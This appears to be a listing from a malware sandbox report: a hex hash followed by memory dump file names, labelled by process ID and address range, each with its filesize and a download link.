20fd369172ef5e3e2fde388666b42e8fe5f0c2bfa338c0345f45e98af6561a249ba3ecc48c3f16efcc73f02ecb67b3ddb1e2e8f0e77d18fa00ac34e6379e50b6

Download Submit
memory/1108-64-0x0000023FD5010000-0x0000023FD5060000-memory.dmp

Filesize
320KB

Download
memory/1108-99-0x0000023FD4F30000-0x0000023FD4F3A000-memory.dmp

Filesize
40KB

Download
memory/1108-100-0x0000023FD4F60000-0x0000023FD4F72000-memory.dmp

Filesize
72KB

Download
memory/1108-34-0x0000023FBA770000-0x0000023FBA7B0000-memory.dmp

Filesize
256KB

Download
memory/1108-65-0x0000023FD4F10000-0x0000023FD4F2E000-memory.dmp

Filesize
120KB

Download
memory/1108-63-0x0000023FD4F90000-0x0000023FD5006000-memory.dmp

Filesize
472KB

Download
memory/2084-35-0x00007FF6AE080000-0x00007FF6AF3D9000-memory.dmp

Filesize
19.3MB

Download
memory/3284-38-0x00007FF830B90000-0x00007FF831652000-memory.dmp

Filesize
10.8MB

Download
memory/3284-31-0x0000000000A30000-0x0000000000AC6000-memory.dmp

Filesize
600KB

Download
memory/3284-191-0x0000000002B90000-0x0000000002B9C000-memory.dmp

Filesize
48KB

Download
memory/3284-223-0x00007FF830B90000-0x00007FF831652000-memory.dmp

Filesize
10.8MB

Download
memory/3844-36-0x00007FF830B90000-0x00007FF831652000-memory.dmp

Filesize
10.8MB

Download
memory/3844-0-0x00007FF830B93000-0x00007FF830B95000-memory.dmp

Filesize
8KB

Download
memory/3844-3-0x00007FF830B90000-0x00007FF831652000-memory.dmp

Filesize
10.8MB

Download
memory/3844-1-0x0000000000B00000-0x000000000134C000-memory.dmp

Filesize
8.3MB

Download
memory/4424-39-0x000001B4A4850000-0x000001B4A4872000-memory.dmp

Filesize
136KB

Download